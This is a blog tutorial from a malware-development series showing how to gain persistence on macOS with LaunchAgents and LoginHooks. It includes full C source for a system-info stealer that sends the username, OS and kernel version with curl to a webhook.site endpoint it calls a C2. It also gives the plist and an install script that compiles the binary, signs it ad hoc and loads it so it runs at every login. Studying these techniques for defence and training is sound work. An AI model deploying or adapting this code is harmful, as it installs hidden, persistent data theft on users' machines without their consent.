MacOS malware persistence 1: LaunchAgents. Simple C example
﷽
Hello, cybersecurity enthusiasts and white hackers!

As I mentioned before, this series of posts will be about MacOS malware persistence practical implementation.
Post-exploitation on macOS is a “cat and mouse” game. Apple keeps tightening the screws with TCC, SIP, and a heavily sandboxed loginwindow. However, for a malware researcher, persistence is the holy grail. Today we’ll look at the “Modern” way (LaunchAgents) and a “Legacy” way (LoginHook) to stay alive after a reboot.
LaunchAgents and launchctl
LaunchAgents are the bread and butter of macOS persistence. They are .plist files located in ~/Library/LaunchAgents/ that tell the launchd process to start a program whenever a user logs in.
LaunchAgents run in the user’s context, making them perfect for stealers and background beacons.
practical example
First, let’s write a simple C “malware” that writes system info to a local file. We use /tmp/ because it’s a TCC-safe zone - most processes can write there without triggering a “Don’t Allow” prompt.
Something like this (hack.c):
/*
* hack.c
* write systeminfo to /tmp/meow.txt
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2026/01/05/malware-mac-persistence-1.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
// write to /tmp to bypass Folder Permissions (TCC)
char *filePath = "/tmp/meow.txt";
// simple log to verify execution
char command[1024];
snprintf(command, sizeof(command), "/usr/sbin/system_profiler SPSoftwareDataType > %s 2>&1", filePath);
system(command);
FILE *f = fopen(filePath, "a");
if (f) {
fprintf(f, "\nexecuted as UID: %d\n", getuid());
if (argc > 1) fprintf(f, "user logging in: %s\n", argv[1]);
fclose(f);
}
return 0;
}
Then we need meow.plist file like this:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.malware.meow</string>
<key>ProgramArguments</key>
<array>
<string>/Users/Shared/hack</string>
<string>DEFCON_LAB</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
demo
Let’s see this in action.
In my case, as usual, I used macOS Sonoma:

Compile our “malware”:
clang -o /Users/Shared/hack hack.c

Then, add our meow.plist to LaunchAgents:
mkdir -p ~/Library/LaunchAgents
cp ~/meow.plist ~/Library/LaunchAgents/com.malware.meow.plist

and run:
launchctl load ~/Library/LaunchAgents/com.malware.demo.plist


launchctl list | grep "meow"

As you can see, background item successfully added.
The command launchctl load tells the macOS background manager (launchd): “Hey, I just added a new job. Read this file and put it in your schedule.”
Because our .plist contains <key>RunAtLoad</key><true/>, the system will now automatically run /Users/Shared/hack every single time that user logs in.
For checking correctness, just run binary manually:
/Users/Shared/hack
and check /tmp/meow.txt file:
cat /tmp/meow.txt

delete this file and logout and login for checking persistence:


As you can see, everything worked perfectly, as expected.
practical example 2
Let’s create another, more sophisticated example. As usually, just update logic: add simple macOS systeminfo stealer.
But first of all, create simple C2.
There is internet access in the virtual machine (Github is working), but the Telegram API is blocked by the provider or firewall.
Instead of Telegram, I’ll use webhook.site. It’s a standard tool for demonstrating data exfiltration.
Then, we need function for send data to C2:
/* sends the gathered data to the C2 server via curl */
int sendToC2(const char* message, const char* url) {
char command[PAYLOAD_SIZE + 512];
/*
* -4: force IPv4 (important for VM stability)
* -s: silent mode
* --data-urlencode: automatically handles special characters and spaces
*/
snprintf(command, sizeof(command),
"/usr/bin/curl -4 -s -X POST %s --data-urlencode \"text=%s\"",
url, message);
printf("executing: %s\n", command);
return system(command);
}
So, full source is looks like this (hack2.c with webhook):
/*
* hack2.c
* macOS systeminfo stealer
* target: macOS Sonoma / DEFCON Training
* C2 (Webhook.site)
* author: @cocomelonc
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define PAYLOAD_SIZE 1024
#define LINE_SIZE 256
/* removes trailing newlines and carriage returns from strings */
void trim_newline(char* str) {
char* p;
if ((p = strchr(str, '\n'))) *p = '\0';
if ((p = strchr(str, '\r'))) *p = '\0';
}
/* sends the gathered data to the C2 server via curl */
int sendToC2(const char* message, const char* url) {
char command[PAYLOAD_SIZE + 512];
/*
* -4: force IPv4 (important for VM stability)
* -s: silent mode
* --data-urlencode: automatically handles special characters and spaces
*/
snprintf(command, sizeof(command),
"/usr/bin/curl -4 -s -X POST %s --data-urlencode \"text=%s\"",
url, message);
printf("executing: %s\n", command);
return system(command);
}
int main() {
/* full path for system_profiler is safer for background execution */
char cmd[] = "/usr/sbin/system_profiler SPSoftwareDataType 2>&1";
char buffer[LINE_SIZE];
char systemVersion[LINE_SIZE] = "Unknown";
char kernelVersion[LINE_SIZE] = "Unknown";
char username[LINE_SIZE] = "Unknown";
FILE* pipe = popen(cmd, "r");
if (!pipe) {
perror("failed to open pipe");
return 1;
}
/* parse the system_profiler output line by line */
while (fgets(buffer, sizeof(buffer), pipe) != NULL) {
if (strstr(buffer, "System Version:")) {
char* start = strchr(buffer, ':');
if (start) {
strncpy(systemVersion, start + 2, LINE_SIZE - 1);
trim_newline(systemVersion);
}
}
if (strstr(buffer, "Kernel Version:")) {
char* start = strchr(buffer, ':');
if (start) {
strncpy(kernelVersion, start + 2, LINE_SIZE - 1);
trim_newline(kernelVersion);
}
}
if (strstr(buffer, "User Name:")) {
char* start = strchr(buffer, ':');
if (start) {
strncpy(username, start + 2, LINE_SIZE - 1);
trim_newline(username);
}
}
}
pclose(pipe);
/* construct the specific message format requested */
char systemInfo[PAYLOAD_SIZE];
snprintf(systemInfo, sizeof(systemInfo),
"🛡 DEFCON Lab Info:\n 👤 User: %s\n 💻 OS: %s\n ⚙️ Kernel: %s\n",
username, systemVersion, kernelVersion);
/* --- webhook.site url --- */
const char* c2_url = "https://webhook.site/9452bf56-9e0a-4acf-a4e1-e4fa5583fa4f";
printf("[*] gathering data and sending to C2...\n");
int result = sendToC2(systemInfo, c2_url);
if (result == 0) {
printf("[+] success! data sent to Webhook.site\n");
} else {
printf("[-] failed with exit code: %d\n", result / 256);
}
return 0;
}
as you can see, I used full path for system_profiler, safer for background execution.
demo
First of all, compile new code:
clang -o /Users/Shared/hack hack2.c

Then, for checking correctness of our logic, run hack manually:
/Users/Shared/hack


As you can see, logic is worked, let’s check persistence with user interaction (Make sure the .plist file exists and points correctly to the binary). Logout and login again:



Look at the webhook.site page: A new request (POST) will appear in the left column. Click it, and on the right side you’ll see all the details of your macOS (kernel version, username, processor model, etc.)
All of this “dirty” PoCs used for my DEFCON demo and trainings.
what about “full” automation?
In a real engagement, you don’t want to type commands in macOS terminal. You want a single script that compiles, signs, and installs, like this:
#!/bin/bash
# compile the payload (or hack2.c)
clang hack.c -o /Users/Shared/hack
# ad-hoc sign the binary (CRITICAL for Sonoma)
codesign -s - --force /Users/Shared/hack
chmod +x /Users/Shared/hack
# create LaunchAgents directory if missing
mkdir -p ~/Library/LaunchAgents
# create the plist
cat <<EOF > ~/Library/LaunchAgents/com.malware.meow.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.malware.meow</string>
<key>ProgramArguments</key>
<array>
<string>/Users/Shared/hack</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
EOF
# load the persistence
launchctl load ~/Library/LaunchAgents/com.malware.meow.plist
echo "[+] persistence installed. check your C2 after the next login."
LoginHooks
Even though they aren’t used very often these days, LoginHooks and LogoutHooks have been around for a long time and can still be used to run a persistence script on macOS. When a person logs in or out, these mechanisms run code, as the names suggest.
Even though it’s easy to write these hooks, it’s also pretty simple to see if they exist. The following command should give you a result that doesn’t have a number for either LoginHook or LogoutHook:
sudo defaults read com.apple.loginwindow

So, for persistence you can just run something like this:
sudo defaults write com.apple.loginwindow LoginHook /Users/Shared/hack

In theory, any executable file can be used as a hook: be it a Bash/Python script or a compiled binary (Mach-O) written in C. In fact, using a binary is even better for stealth (it is harder to read with the naked eye than a script).
Threat actors like APT32, also software like OSX_OCEANLOTUS.D, MacSpy and Cuckoo Stealer use this trick for persistence.
I hope that this post is useful for malware R&D, shellcode development, and red teaming labs, Apple/Mac researchers and as always, for blue team specialists.
APT32
OSX_OCEANLOTUS.D
MacSpy
Cuckoo Stealer
macOS hacking part 1
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine